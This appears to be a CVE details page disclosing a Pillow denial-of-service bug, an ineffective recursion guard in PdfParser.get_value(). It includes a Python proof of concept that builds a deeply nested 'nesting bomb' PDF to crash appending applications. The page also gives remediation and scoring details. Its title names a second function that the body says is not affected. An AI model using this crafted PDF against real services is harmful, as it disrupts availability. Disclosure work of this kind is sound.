CVE-2026-112391 — Vulnerability in pillow — CVE Details
Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.58%). Schedule for your next planned update.
Does your project use an affected pillow version?
Paste your requirements.txt to check it for CVE-2026-112391 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
PdfParser's get_value() can recurse without any limit and crash with an uncaught RecursionError. It is reachable through Image.save(im, fp=<pdf>, format="PDF", append=True) when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.
Details
get_value() in src/PIL/PdfParser.py
This is a classmethod that takes max_nesting: int = -1 and has a guard:
if max_nesting == 0:
return None, None
Every recursive call (nested arrays, dictionaries, indirect object definitions) passes max_nesting=max_nesting - 1. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid /Pages tree, since read_pdf_info() parses the /Root object's own dictionary first, before checking anything else.
This advisory reports a single vulnerability: an ineffective recursion-depth guard in PdfParser.get_value() (the sentinel -1 default never reaches the == 0 check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() .
Steps to reproduce
Both PDFs below are plain text, built directly in Python, no PDF library needed.
from PIL.PdfParser import PdfParser
def build_pdf(root):
out = bytearray(b"%PDF-1.4\n")
offset = len(out)
out += f"1 0 obj\n".encode()
out += root
out += b"\nendobj\n"
out += b"xref\n"
out += f"0 2\n".encode()
out += b"0000000000 65535 f \n"
out += f"{offset:010d} 00000 ".encode() + b"n \n"
xref_offset = len(out)
out += b"xref\n"
out += f"0 2\n".encode()
out += b"0000000000 65535 f \n"
out += f"{offset:010d} 00000 ".encode() + b"n \n"
out += b"trailer\n"
out += f"<< /Size 2 /Root 1 0 R >>\n".encode()
out += b"startxref\n"
out += f"{xref_offset}\n".encode()
out += b"%%EOF"
return bytes(out)
bomb = b"[" * 3000 + b"]" * 3000
root = b"<< /Type /Catalog /Pages 2 0 R /Bomb " + bomb + b" >>"
with open("nesting_bomb.pdf", "wb") as f:
f.write(build_pdf(root))
PdfParser("nesting_bomb.pdf") # raises RecursionError
Expected: a clean PdfFormatError.
Actual: raises a raw RecursionError: maximum recursion depth exceeded.
Impact
- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (
Image.save(..., format="PDF", append=True)) can crash that request with a RecursionError, using a file of a few hundred bytes. - Confidentiality: none.
- Integrity: none.
- Pillow cannot open PDFs for reading through
Image.open().PdfParseris only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.
Advisory Timeline
- First published October 21, 2026 (37 days ago).
- Last revised October 26, 2026 — 4 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "pillow>=13.0.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| pillow PyPI · Affected: 10.0.0, 10.0.1, 10.1.0, 10.2.0 (+45 more) | 13.0.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-835
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 4.8 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288hWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-112391ADVISORY
- https://github.com/python-pillow/Pillow/commit/94cb11c44ff7345414da17ebfea1598a529ad9cdWEB
- https://github.com/python-pillow/PillowPACKAGE
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0WEB
Frequently Asked Questions
- What is CVE-2026-112391?
- Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree(). This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 4.8/10).
- How do I check if my project is affected by CVE-2026-112391?
- CVE-2026-112391 affects pillow. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-112391 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Exploitation requires specific conditions, or the impact is limited.
This is a below-median EPSS score — only 41.7% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-112393CRITICAL
Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO
- CVE-2026-59199HIGH
- CVE-2026-112392HIGH
Pillow: NULL dereference in ImagingExpand via rank filters on zero-size images
- CVE-2026-112894HIGH
Pillow: Quadratic-time DoS in PDF save_all (PdfParser.next_object_id)
- CVE-2026-59200HIGH
Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()
- CVE-2026-96640HIGH
Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion
- CVE-2026-42310MEDIUM
Pillow has a PDF Parsing Trailer Infinite Loop (DoS)
- CVE-2026-96638MEDIUM
Pillow: BMP RLE decoder memory-amplification DoS via unbounded delta escape / absolute mode